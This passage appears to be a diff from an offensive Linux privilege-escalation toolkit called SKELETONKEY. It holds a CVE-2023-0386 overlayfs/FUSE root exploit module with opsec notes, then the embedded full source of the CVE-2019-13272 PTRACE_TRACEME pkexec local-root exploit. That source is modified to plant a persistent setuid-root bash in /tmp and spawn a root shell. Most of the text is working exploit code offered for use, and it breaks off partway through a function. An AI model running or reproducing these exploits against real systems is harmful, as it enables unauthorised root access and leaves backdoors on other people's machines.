int dn = open("/dev/null", O_RDONLY); if (dn >= 0) { dup2(dn, 0); close(dn); }
|
||||||
|
execl(carrier, carrier, (char *)NULL);
|
||||||
|
_exit(127);
|
||||||
|
}
|
||||||
|
waitpid(r, NULL, 0);
|
||||||
|
|
||||||
|
struct stat ss;
|
||||||
|
if ((stat("/tmp/.suid_bash", &ss) == 0 && (ss.st_mode & 04000)) ||
|
||||||
|
stat("/tmp/skeletonkey-ovlsu-pwned", &ss) == 0) {
|
||||||
|
if (!ctx->json) fprintf(stderr, "[+] overlayfs_setuid: ROOT — payload ran as uid 0\n");
|
||||||
|
return SKELETONKEY_EXPLOIT_OK;
|
||||||
|
}
|
||||||
|
if (!ctx->json)
|
||||||
|
fprintf(stderr, "[-] overlayfs_setuid: carrier ran but produced no root witness\n");
|
||||||
|
|
||||||
fail:
|
fail:
|
||||||
unlink(src_path); unlink(bin_path);
|
|
||||||
rmdir(upper); rmdir(work); rmdir(merged);
|
|
||||||
rmdir(workdir);
|
|
||||||
return SKELETONKEY_EXPLOIT_FAIL;
|
return SKELETONKEY_EXPLOIT_FAIL;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#else /* !OVLSU_HAVE_FUSE — built without libfuse */
|
||||||
|
|
||||||
|
static skeletonkey_result_t overlayfs_setuid_exploit(const struct skeletonkey_ctx *ctx)
|
||||||
|
{
|
||||||
|
skeletonkey_result_t pre = overlayfs_setuid_detect(ctx);
|
||||||
|
if (pre != SKELETONKEY_VULNERABLE && pre != SKELETONKEY_OK) return pre;
|
||||||
|
fprintf(stderr, "[-] overlayfs_setuid: built WITHOUT libfuse — the CVE-2023-0386 exploit needs a "
|
||||||
|
"FUSE lower layer. Install libfuse3-dev (or libfuse-dev) and rebuild.\n");
|
||||||
|
(void)OVERLAYFS_SU_PAYLOAD; (void)which_gcc; (void)write_file_str;
|
||||||
|
return SKELETONKEY_PRECOND_FAIL;
|
||||||
|
}
|
||||||
|
|
||||||
|
#endif /* OVLSU_HAVE_FUSE */
|
||||||
|
|
||||||
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
|
static skeletonkey_result_t overlayfs_setuid_cleanup(const struct skeletonkey_ctx *ctx)
|
||||||
{
|
{
|
||||||
(void)ctx;
|
(void)ctx;
|
||||||
@@ -471,7 +650,7 @@ const struct skeletonkey_module overlayfs_setuid_module = {
|
|||||||
.detect_sigma = overlayfs_setuid_sigma,
|
.detect_sigma = overlayfs_setuid_sigma,
|
||||||
.detect_yara = overlayfs_setuid_yara,
|
.detect_yara = overlayfs_setuid_yara,
|
||||||
.detect_falco = overlayfs_setuid_falco,
|
.detect_falco = overlayfs_setuid_falco,
|
||||||
.opsec_notes = "unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with a setuid-root binary in lower (e.g. /usr/bin/su); chown on the merged view triggers copy-up that preserves the setuid bit in upper - but upper is owned by the unprivileged user. Overwrites upper-layer contents with attacker payload and execve's for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir with payload.c, binary, overlay mounts); cleanup callback removes these. Audit-visible via unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay) + chown on the merged view. No network. Dmesg silent on success.",
|
.opsec_notes = "Faithful CVE-2023-0386 port: a libfuse filesystem exports a setuid-root /file (st_uid=0, mode 04777), mounted in the init ns via the setuid fusermount helper; then unshare(CLONE_NEWUSER|CLONE_NEWNS) + overlayfs mount with that FUSE mount as lowerdir; open(merged/file, O_WRONLY) triggers copy-up that materialises upper/file as a real setuid-root binary, which the unprivileged parent execs for root. Artifacts: /tmp/skeletonkey-ovlsu-XXXXXX/ (workdir: payload.c, the payload ELF, FUSE mount at lower/, overlay upper/work/merged), plus a setuid /tmp/.suid_bash and /tmp/skeletonkey-ovlsu-pwned witness dropped by the root payload; cleanup callback removes /tmp/skeletonkey-ovlsu-*. Audit-visible via mount(fuse) + fusermount execve + unshare(CLONE_NEWUSER|CLONE_NEWNS) + mount(overlay), then a setuid-root binary exec by a non-root uid. No network. Dmesg silent on success.",
|
||||||
.arch_support = "x86_64+unverified-arm64",
|
.arch_support = "x86_64+unverified-arm64",
|
||||||
};
|
};
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,571 @@
|
|||||||
|
/* ptrace_helper_src.h — AUTO-GENERATED. DO NOT EDIT BY HAND.
|
||||||
|
*
|
||||||
|
* Embedded source of the proven CVE-2019-13272 exploit (original author
|
||||||
|
* Jann Horn / Google Project Zero #1903; auto-targeting + helper search by
|
||||||
|
* bcoles). The only SKELETONKEY change vs upstream is spawn_shell(): instead
|
||||||
|
* of only dropping into an interactive shell, it plants a root-owned proof
|
||||||
|
* file (SK_PROOF) and a setuid-root bash (SK_ROOTBASH) so the module can
|
||||||
|
* verify root out-of-band, and only execs an interactive shell on a tty.
|
||||||
|
* The module writes this out, compiles it with unique -DSK_PROOF/-DSK_ROOTBASH
|
||||||
|
* paths, runs it, and stat()s the artifacts to confirm uid==0.
|
||||||
|
*/
|
||||||
|
static const char ptrace_traceme_helper_src[] =
|
||||||
|
"// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"
|
||||||
|
"//\n"
|
||||||
|
"// Uses pkexec technique. Requires execution within the context\n"
|
||||||
|
"// of a user session with an active PolKit agent.\n"
|
||||||
|
"//\n"
|
||||||
|
"// Exploitation will fail if kernel.yama.ptrace_scope >= 2;\n"
|
||||||
|
"// or SELinux deny_ptrace=on.\n"
|
||||||
|
"// ---\n"
|
||||||
|
"// Original discovery and exploit author: Jann Horn\n"
|
||||||
|
"// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903\n"
|
||||||
|
"// ---\n"
|
||||||
|
"// <bcoles@gmail.com>\n"
|
||||||
|
"// - added known helper paths\n"
|
||||||
|
"// - added search for suitable helpers\n"
|
||||||
|
"// - added automatic targeting\n"
|
||||||
|
"// - changed target suid executable from passwd to pkexec\n"
|
||||||
|
"// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272\n"
|
||||||
|
"// ---\n"
|
||||||
|
"// Tested on:\n"
|
||||||
|
"// - Ubuntu 16.04.5 kernel 4.15.0-29-generic\n"
|
||||||
|
"// - Ubuntu 18.04.1 kernel 4.15.0-20-generic\n"
|
||||||
|
"// - Ubuntu 18.04.3 kernel 5.0.0-23-generic\n"
|
||||||
|
"// - Ubuntu 19.04 kernel 5.0.0-15-generic\n"
|
||||||
|
"// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic\n"
|
||||||
|
"// - Linux Mint 17.3 kernel 4.4.0-89-generic\n"
|
||||||
|
"// - Linux Mint 18.3 kernel 4.13.0-16-generic\n"
|
||||||
|
"// - Linux Mint 19 kernel 4.15.0-20-generic\n"
|
||||||
|
"// - Xubuntu 16.04.4 kernel 4.13.0-36-generic\n"
|
||||||
|
"// - ElementaryOS 0.4.1 4.8.0-52-generic\n"
|
||||||
|
"// - Backbox 6 kernel 4.18.0-21-generic\n"
|
||||||
|
"// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64\n"
|
||||||
|
"// - Kali kernel 4.19.0-kali5-amd64\n"
|
||||||
|
"// - MX 18.3 kernel 4.19.37-2~mx17+1\n"
|
||||||
|
"// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64\n"
|
||||||
|
"// - CentOS 8 kernel 4.18.0-80.el8.x86_64\n"
|
||||||
|
"// - Debian 9.4.0 kernel 4.9.0-6-amd64\n"
|
||||||
|
"// - Debian 10.0.0 kernel 4.19.0-5-amd64\n"
|
||||||
|
"// - Devuan 2.0.0 kernel 4.9.0-6-amd64\n"
|
||||||
|
"// - SparkyLinux 5.8 kernel 4.19.0-5-amd64\n"
|
||||||
|
"// - SparkyLinux 5.9 kernel 4.19.0-6-amd64\n"
|
||||||
|
"// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64\n"
|
||||||
|
"// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO\n"
|
||||||
|
"// - Mageia 6 kernel 4.9.35-desktop-1.mga6\n"
|
||||||
|
"// - Antergos 18.7 kernel 4.17.6-1-ARCH\n"
|
||||||
|
"// - lubuntu 19.04 kernel 5.0.0-13-generic\n"
|
||||||
|
"// - Sabayon 19.03 kernel 4.20.0-sabayon\n"
|
||||||
|
"// - Pop! OS 19.04 kernel 5.0.0-21-generic\n"
|
||||||
|
"// ---\n"
|
||||||
|
"// [user@localhost CVE-2019-13272]$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root\n"
|
||||||
|
"// [user@localhost CVE-2019-13272]$ ./ptrace_traceme_root\n"
|
||||||
|
"// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n"
|
||||||
|
"// [.] Checking environment ...\n"
|
||||||
|
"// [~] Done, looks good\n"
|
||||||
|
"// [.] Searching policies for useful helpers ...\n"
|
||||||
|
"// [.] Ignoring helper (does not exist): /usr/sbin/pk-device-rebind\n"
|
||||||
|
"// [.] Trying helper: /usr/libexec/gsd-backlight-helper\n"
|
||||||
|
"// [.] Spawning suid process (/usr/bin/pkexec) ...\n"
|
||||||
|
"// [.] Tracing midpid ...\n"
|
||||||
|
"// [~] Attached to midpid\n"
|
||||||
|
"// [root@localhost CVE-2019-13272]# id\n"
|
||||||
|
"// uid=0(root) gid=0(root) groups=0(root),1000(user)\n"
|
||||||
|
"// [root@localhost CVE-2019-13272]# uname -a\n"
|
||||||
|
"// Linux localhost.localdomain 4.18.0-80.el8.x86_64 #1 SMP Tue Jun 4 09:19:46 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux\n"
|
||||||
|
"// ---\n"
|
||||||
|
"\n"
|
||||||
|
"#define _GNU_SOURCE\n"
|
||||||
|
"#include <string.h>\n"
|
||||||
|
"#include <stdlib.h>\n"
|
||||||
|
"#include <unistd.h>\n"
|
||||||
|
"#include <signal.h>\n"
|
||||||
|
"#include <stdio.h>\n"
|
||||||
|
"#include <fcntl.h>\n"
|
||||||
|
"#include <sched.h>\n"
|
||||||
|
"#include <stddef.h>\n"
|
||||||
|
"#include <stdarg.h>\n"
|
||||||
|
"#include <pwd.h>\n"
|
||||||
|
"#include <sys/prctl.h>\n"
|
||||||
|
"#include <sys/wait.h>\n"
|
||||||
|
"#include <sys/ptrace.h>\n"
|
||||||
|
"#include <sys/user.h>\n"
|
||||||
|
"#include <sys/syscall.h>\n"
|
||||||
|
"#include <sys/stat.h>\n"
|
||||||
|
"#include <linux/elf.h>\n"
|
||||||
|
"\n"
|
||||||
|
"#define DEBUG\n"
|
||||||
|
"\n"
|
||||||
|
"#ifdef DEBUG\n"
|
||||||
|
"# define dprintf printf\n"
|
||||||
|
"#else\n"
|
||||||
|
"# define dprintf\n"
|
||||||
|
"#endif\n"
|
||||||
|
"\n"
|
||||||
|
"/*\n"
|
||||||
|
" * enabled automatic targeting.\n"
|
||||||
|
" * uses pkaction to search PolKit policy actions for viable helper executables.\n"
|
||||||
|
" */\n"
|
||||||
|
"#define ENABLE_AUTO_TARGETING 1\n"
|
||||||
|
"\n"
|
||||||
|
"/*\n"
|
||||||
|
" * fall back to known helpers if automatic targeting fails.\n"
|
||||||
|
" * note: use of these helpers may result in PolKit authentication\n"
|
||||||
|
" * prompts on the session associated with the PolKit agent.\n"
|
||||||
|
" */\n"
|
||||||
|
"#define ENABLE_FALLBACK_HELPERS 1\n"
|
||||||
|
"\n"
|
||||||
|
"static const char *SHELL = \"/bin/bash\";\n"
|
||||||
|
"\n"
|
||||||
|
"/* SKELETONKEY: out-of-band proof + persistent root artifact paths.\n"
|
||||||
|
" * Passed in at compile time (-DSK_PROOF=... -DSK_ROOTBASH=...) so each\n"
|
||||||
|
" * run uses a unique path; env vars can't be used because the staged\n"
|
||||||
|
" * execveat() re-execs carry an empty environment. */\n"
|
||||||
|
"#ifndef SK_PROOF\n"
|
||||||
|
"#define SK_PROOF \"/tmp/.skeletonkey-ptrace-proof\"\n"
|
||||||
|
"#endif\n"
|
||||||
|
"#ifndef SK_ROOTBASH\n"
|
||||||
|
"#define SK_ROOTBASH \"/tmp/.skeletonkey-ptrace-rootbash\"\n"
|
||||||
|
"#endif\n"
|
||||||
|
"\n"
|
||||||
|
"static int middle_success = 1;\n"
|
||||||
|
"static int block_pipe[2];\n"
|
||||||
|
"static int self_fd = -1;\n"
|
||||||
|
"static int dummy_status;\n"
|
||||||
|
"static const char *helper_path;\n"
|
||||||
|
"static const char *pkexec_path = \"/usr/bin/pkexec\";\n"
|
||||||
|
"static const char *pkaction_path = \"/usr/bin/pkaction\";\n"
|
||||||
|
"struct stat st;\n"
|
||||||
|
"\n"
|
||||||
|
"const char *helpers[1024];\n"
|
||||||
|
"\n"
|
||||||
|
"/* known helpers to use if automatic targeting fails */\n"
|
||||||
|
"#if ENABLE_FALLBACK_HELPERS\n"
|
||||||
|
"const char *known_helpers[] = {\n"
|
||||||
|
" \"/usr/lib/gnome-settings-daemon/gsd-backlight-helper\",\n"
|
||||||
|
" \"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper\",\n"
|
||||||
|
" \"/usr/lib/unity-settings-daemon/usd-backlight-helper\",\n"
|
||||||
|
" \"/usr/lib/unity-settings-daemon/usd-wacom-led-helper\",\n"
|
||||||
|
" \"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper\",\n"
|
||||||
|
" \"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper\",\n"
|
||||||
|
" \"/usr/sbin/mate-power-backlight-helper\",\n"
|
||||||
|
" \"/usr/sbin/xfce4-pm-helper\",\n"
|
||||||
|
" \"/usr/bin/xfpm-power-backlight-helper\",\n"
|
||||||
|
" \"/usr/bin/lxqt-backlight_backend\",\n"
|
||||||
|
" \"/usr/libexec/gsd-wacom-led-helper\",\n"
|
||||||
|
" \"/usr/libexec/gsd-wacom-oled-helper\",\n"
|
||||||
|
" \"/usr/libexec/gsd-backlight-helper\",\n"
|
||||||
|
" \"/usr/lib/gsd-backlight-helper\",\n"
|
||||||
|
" \"/usr/lib/gsd-wacom-led-helper\",\n"
|
||||||
|
" \"/usr/lib/gsd-wacom-oled-helper\",\n"
|
||||||
|
" \"/usr/lib64/xfce4/session/xsfm-shutdown-helper\",\n"
|
||||||
|
"};\n"
|
||||||
|
"#endif\n"
|
||||||
|
"\n"
|
||||||
|
"/* helper executables known to cause problems (hang or fail) */\n"
|
||||||
|
"const char *blacklisted_helpers[] = {\n"
|
||||||
|
" \"/xf86-video-intel-backlight-helper\",\n"
|
||||||
|
" \"/cpugovctl\",\n"
|
||||||
|
" \"/resetxpad\",\n"
|
||||||
|
" \"/package-system-locked\",\n"
|
||||||
|
" \"/cddistupgrader\",\n"
|
||||||
|
"};\n"
|
||||||
|
"\n"
|
||||||
|
"#define SAFE(expr) ({ \\\n"
|
||||||
|
" typeof(expr) __res = (expr); \\\n"
|
||||||
|
" if (__res == -1) { \\\n"
|
||||||
|
" dprintf(\"[-] Error: %s\\n\", #expr); \\\n"
|
||||||
|
" return 0; \\\n"
|
||||||
|
" } \\\n"
|
||||||
|
" __res; \\\n"
|
||||||
|
"})\n"
|
||||||
|
"#define max(a,b) ((a)>(b) ? (a) : (b))\n"
|
||||||
|
"\n"
|
||||||
|
"/*\n"
|
||||||
|
" * execveat() syscall\n"
|
||||||
|
" * https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl\n"
|
||||||
|
" */\n"
|
||||||
|
"#ifndef __NR_execveat\n"
|
||||||
|
"# define __NR_execveat 322\n"
|
||||||
|
"#endif\n"
|
||||||
|
"\n"
|
||||||
|
"/* temporary printf; returned pointer is valid until next tprintf */\n"
|
||||||
|
"static char *tprintf(char *fmt, ...) {\n"
|
||||||
|
" static char buf[10000];\n"
|
||||||
|
" va_list ap;\n"
|
||||||
|
" va_start(ap, fmt);\n"
|
||||||
|
" vsprintf(buf, fmt, ap);\n"
|
||||||
|
" va_end(ap);\n"
|
||||||
|
" return buf;\n"
|
||||||
|
"}\n"
|
||||||
|
"\n"
|
||||||
|
"/*\n"
|
||||||
|
" * fork, execute pkexec in parent, force parent to trace our child process,\n"
|
||||||
|
" * execute suid executable (pkexec) in child.\n"
|
||||||
|
" */\n"
|
||||||
|
"static int middle_main(void *dummy) {\n"
|
||||||
|
" prctl(PR_SET_PDEATHSIG, SIGKILL);\n"
|
||||||
|
" pid_t middle = getpid();\n"
|
||||||
|
"\n"
|
||||||
|
" self_fd = SAFE(open(\"/proc/self/exe\", O_RDONLY));\n"
|
||||||
|
"\n"
|
||||||
|
" pid_t child = SAFE(fork());\n"
|
||||||
|
" if (child == 0) {\n"
|
||||||
|
" prctl(PR_SET_PDEATHSIG, SIGKILL);\n"
|
||||||
|
"\n"
|
||||||
|
" SAFE(dup2(self_fd, 42));\n"
|
||||||
|
"\n"
|
||||||
|
" /* spin until our parent becomes privileged (have to be fast here) */\n"
|
||||||
|
" int proc_fd = SAFE(open(tprintf(\"/proc/%d/status\", middle), O_RDONLY));\n"
|
||||||
|
" char *needle = tprintf(\"\\nUid:\\t%d\\t0\\t\", getuid());\n"
|
||||||
|
" while (1) {\n"
|
||||||
|
" char buf[1000];\n"
|
||||||
|
" ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));\n"
|
||||||
|
" buf[buflen] = '\\0';\n"
|
||||||
|
" if (strstr(buf, needle)) break;\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" /*\n"
|
||||||
|
" * this is where the bug is triggered.\n"
|
||||||
|
" * while our parent is in the middle of pkexec, we force it to become our\n"
|
||||||
|
" * tracer, with pkexec's creds as ptracer_cred.\n"
|
||||||
|
" */\n"
|
||||||
|
" SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));\n"
|
||||||
|
"\n"
|
||||||
|
" /*\n"
|
||||||
|
" * now we execute a suid executable (pkexec).\n"
|
||||||
|
" * Because the ptrace relationship is considered to be privileged,\n"
|
||||||
|
" * this is a proper suid execution despite the attached tracer,\n"
|
||||||
|
" * not a degraded one.\n"
|
||||||
|
" * at the end of execve(), this process receives a SIGTRAP from ptrace.\n"
|
||||||
|
" */\n"
|
||||||
|
" execl(pkexec_path, basename(pkexec_path), NULL);\n"
|
||||||
|
"\n"
|
||||||
|
" dprintf(\"[-] execl: Executing suid executable failed\");\n"
|
||||||
|
" exit(EXIT_FAILURE);\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" SAFE(dup2(self_fd, 0));\n"
|
||||||
|
" SAFE(dup2(block_pipe[1], 1));\n"
|
||||||
|
"\n"
|
||||||
|
" /* execute pkexec as current user */\n"
|
||||||
|
" struct passwd *pw = getpwuid(getuid());\n"
|
||||||
|
" if (pw == NULL) {\n"
|
||||||
|
" dprintf(\"[-] getpwuid: Failed to retrieve username\");\n"
|
||||||
|
" exit(EXIT_FAILURE);\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" middle_success = 1;\n"
|
||||||
|
" execl(pkexec_path, basename(pkexec_path), \"--user\", pw->pw_name,\n"
|
||||||
|
" helper_path,\n"
|
||||||
|
" \"--help\", NULL);\n"
|
||||||
|
" middle_success = 0;\n"
|
||||||
|
" dprintf(\"[-] execl: Executing pkexec failed\");\n"
|
||||||
|
" exit(EXIT_FAILURE);\n"
|
||||||
|
"}\n"
|
||||||
|
"\n"
|
||||||
|
"/* ptrace pid and wait for signal */\n"
|
||||||
|
"static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {\n"
|
||||||
|
" struct user_regs_struct regs;\n"
|
||||||
|
" struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };\n"
|
||||||
|
" SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));\n"
|
||||||
|
" SAFE(waitpid(pid, &dummy_status, 0));\n"
|
||||||
|
" SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));\n"
|
||||||
|
"\n"
|
||||||
|
" /* set up indirect arguments */\n"
|
||||||
|
" unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;\n"
|
||||||
|
" struct injected_page {\n"
|
||||||
|
" unsigned long argv[2];\n"
|
||||||
|
" unsigned long envv[1];\n"
|
||||||
|
" char arg0[8];\n"
|
||||||
|
" char path[1];\n"
|
||||||
|
" } ipage = {\n"
|
||||||
|
" .argv = { scratch_area + offsetof(struct injected_page, arg0) }\n"
|
||||||
|
" };\n"
|
||||||
|
" strcpy(ipage.arg0, arg0);\n"
|
||||||
|
" int i;\n"
|
||||||
|
" for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {\n"
|
||||||
|
" unsigned long pdata = ((unsigned long *)&ipage)[i];\n"
|
||||||
|
" SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),\n"
|
||||||
|
" (void*)pdata));\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" /* execveat(exec_fd, path, argv, envv, flags) */\n"
|
||||||
|
" regs.orig_rax = __NR_execveat;\n"
|
||||||
|
" regs.rdi = exec_fd;\n"
|
||||||
|
" regs.rsi = scratch_area + offsetof(struct injected_page, path);\n"
|
||||||
|
" regs.rdx = scratch_area + offsetof(struct injected_page, argv);\n"
|
||||||
|
" regs.r10 = scratch_area + offsetof(struct injected_page, envv);\n"
|
||||||
|
" regs.r8 = AT_EMPTY_PATH;\n"
|
||||||
|
"\n"
|
||||||
|
" SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));\n"
|
||||||
|
" SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));\n"
|
||||||
|
" SAFE(waitpid(pid, &dummy_status, 0));\n"
|
||||||
|
"\n"
|
||||||
|
" return 0;\n"
|
||||||
|
"}\n"
|
||||||
|
"\n"
|
||||||
|
"static int middle_stage2(void) {\n"
|
||||||
|
" /* our child is hanging in signal delivery from execve()'s SIGTRAP */\n"
|
||||||
|
" pid_t child = SAFE(waitpid(-1, &dummy_status, 0));\n"
|
||||||
|
" return force_exec_and_wait(child, 42, \"stage3\");\n"
|
||||||
|
"}\n"
|
||||||
|
"\n"
|
||||||
|
"// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *\n"
|
||||||
|
"\n"
|
||||||
|
"static int spawn_shell(void) {\n"
|
||||||
|
" SAFE(setresgid(0, 0, 0));\n"
|
||||||
|
" SAFE(setresuid(0, 0, 0));\n"
|
||||||
|
" /* SKELETONKEY payload: we are now genuinely root. Drop an out-of-band,\n"
|
||||||
|
" * root-owned proof file and a setuid-root bash the operator can use, then\n"
|
||||||
|
" * (only on an interactive tty) hand off an interactive root shell. In the\n"
|
||||||
|
" * module's automated run stdin is /dev/null, so we just exit cleanly after\n"
|
||||||
|
" * planting the artifacts — the module verifies root by stat()'ing them. */\n"
|
||||||
|
" system(\"id > \" SK_PROOF \" 2>&1; \"\n"
|
||||||
|
" \"cp -f /bin/bash \" SK_ROOTBASH \" 2>/dev/null; \"\n"
|
||||||
|
" \"chown 0:0 \" SK_ROOTBASH \" 2>/dev/null; \"\n"
|
||||||
|
" \"chmod 4755 \" SK_ROOTBASH \" 2>/dev/null; \"\n"
|
||||||
|
" \"chown 0:0 \" SK_PROOF \" 2>/dev/null; sync\");\n"
|
||||||
|
" if (isatty(0)) {\n"
|
||||||
|
" execlp(SHELL, basename(SHELL), NULL);\n"
|
||||||
|
" dprintf(\"[-] execlp: Executing shell %s failed\", SHELL);\n"
|
||||||
|
" }\n"
|
||||||
|
" _exit(EXIT_SUCCESS);\n"
|
||||||
|
"}\n"
|
||||||
|
"\n"
|
||||||
|
"// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *\n"
|
||||||
|
"\n"
|
||||||
|
"static int check_env(void) {\n"
|
||||||
|
" int warn = 0;\n"
|
||||||
|
" const char* xdg_session = getenv(\"XDG_SESSION_ID\");\n"
|
||||||
|
"\n"
|
||||||
|
" dprintf(\"[.] Checking environment ...\\n\");\n"
|
||||||
|
"\n"
|
||||||
|
" if (stat(pkexec_path, &st) != 0) {\n"
|
||||||
|
" dprintf(\"[-] Could not find pkexec executable at %s\\n\", pkexec_path);\n"
|
||||||
|
" exit(EXIT_FAILURE);\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" if (stat(\"/dev/grsec\", &st) == 0) {\n"
|
||||||
|
" dprintf(\"[!] Warning: grsec is in use\\n\");\n"
|
||||||
|
" warn++;\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" if (xdg_session == NULL) {\n"
|
||||||
|
" dprintf(\"[!] Warning: $XDG_SESSION_ID is not set\\n\");\n"
|
||||||
|
" warn++;\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" if (system(\"/bin/loginctl --no-ask-password show-session \\\"$XDG_SESSION_ID\\\" | /bin/grep Remote=no >>/dev/null 2>>/dev/null\") != 0) {\n"
|
||||||
|
" dprintf(\"[!] Warning: Could not find active PolKit agent\\n\");\n"
|
||||||
|
" warn++;\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" if (system(\"/sbin/sysctl kernel.yama.ptrace_scope 2>&1 | /bin/grep -q [23]\") == 0) {\n"
|
||||||
|
" dprintf(\"[!] Warning: kernel.yama.ptrace_scope >= 2\\n\");\n"
|
||||||
|
" warn++;\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" if (stat(\"/usr/sbin/getsebool\", &st) == 0) {\n"
|
||||||
|
" if (system(\"/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on\") == 0) {\n"
|
||||||
|
" dprintf(\"[!] Warning: SELinux deny_ptrace is enabled\\n\");\n"
|
||||||
|
" warn++;\n"
|
||||||
|
" }\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" if (warn > 0) {\n"
|
||||||
|
" dprintf(\"[~] Done, with %d warnings\\n\", warn);\n"
|
||||||
|
" } else {\n"
|
||||||
|
" dprintf(\"[~] Done, looks good\\n\");\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" return warn;\n"
|
||||||
|
"}\n"
|
||||||
|
"\n"
|
||||||
|
"/*\n"
|
||||||
|
" * Use pkaction to search PolKit policy actions for viable helper executables.\n"
|
||||||
|
" * Check each action for allow_active=yes, extract the associated helper path,\n"
|
||||||
|
" * and check the helper path exists.\n"
|
||||||
|
" */\n"
|
||||||
|
"#if ENABLE_AUTO_TARGETING\n"
|
||||||
|
"int find_helpers() {\n"
|
||||||
|
" if (stat(pkaction_path, &st) != 0) {\n"
|
||||||
|
" dprintf(\"[-] No helpers found. Could not find pkaction executable at %s.\\n\", pkaction_path);\n"
|
||||||
|
" return 0;\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" char cmd[1024];\n"
|
||||||
|
" snprintf(cmd, sizeof(cmd), \"%s --verbose\", pkaction_path);\n"
|
||||||
|
" FILE *fp;\n"
|
||||||
|
" fp = popen(cmd, \"r\");\n"
|
||||||
|
" if (fp == NULL) {\n"
|
||||||
|
" dprintf(\"[-] Failed to run %s: %m\\n\", cmd);\n"
|
||||||
|
" return 0;\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" char line[1024];\n"
|
||||||
|
" char buffer[2048];\n"
|
||||||
|
" int helper_index = 0;\n"
|
||||||
|
" int useful_action = 0;\n"
|
||||||
|
" int blacklisted_helper = 0;\n"
|
||||||
|
" static const char *needle = \"org.freedesktop.policykit.exec.path -> \";\n"
|
||||||
|
" int needle_length = strlen(needle);\n"
|
||||||
|
"\n"
|
||||||
|
" while (fgets(line, sizeof(line)-1, fp) != NULL) {\n"
|
||||||
|
" /* check the action uses allow_active=yes */\n"
|
||||||
|
" if (strstr(line, \"implicit active:\")) {\n"
|
||||||
|
" if (strstr(line, \"yes\")) {\n"
|
||||||
|
" useful_action = 1;\n"
|
||||||
|
" }\n"
|
||||||
|
" continue;\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" if (useful_action == 0)\n"
|
||||||
|
" continue;\n"
|
||||||
|
"\n"
|
||||||
|
" useful_action = 0;\n"
|
||||||
|
"\n"
|
||||||
|
" /* extract the helper path */\n"
|
||||||
|
" int length = strlen(line);\n"
|
||||||
|
" char* found = memmem(&line[0], length, needle, needle_length);\n"
|
||||||
|
" if (found == NULL)\n"
|
||||||
|
" continue;\n"
|
||||||
|
"\n"
|
||||||
|
" memset(buffer, 0, sizeof(buffer));\n"
|
||||||
|
" int i;\n"
|
||||||
|
" for (i = 0; found[needle_length + i] != '\\n'; i++) {\n"
|
||||||
|
" if (i >= sizeof(buffer)-1)\n"
|
||||||
|
" continue;\n"
|
||||||
|
" buffer[i] = found[needle_length + i];\n"
|
||||||
|
" }\n"
|
||||||
|
"\n"
|
||||||
|
" /* check helper path against helpers defined in 'blacklisted_helpers' array */\n"
|
||||||
|
" blacklisted_helper = 0;\n"
|
||||||
|
" for (i=0; i<sizeof(blacklisted_helpers)/sizeof(blacklisted_helpers[0]); i++) {\n"
|
||||||
|
" if (strstr(&buffer[0], blacklisted_helpers[i]) != 0) {\n"
|
||||||
|
" dprintf(\"[.] Ignoring helper (blacklisted): %s\\n\", &buffer[0]);\n"
|
||||||
|
" blacklisted_helper = 1;\n"
|
||||||
|
" break;\n"
|
||||||
|
" }\n"
|
||||||
|
" }\n"
|
||||||
|
" if (blacklisted_helper == 1)\n"
|
||||||
|
" continue;\n"
|
||||||
|
"\n"
|
||||||
|
" /* check the path exists */\n"
|
||||||
|
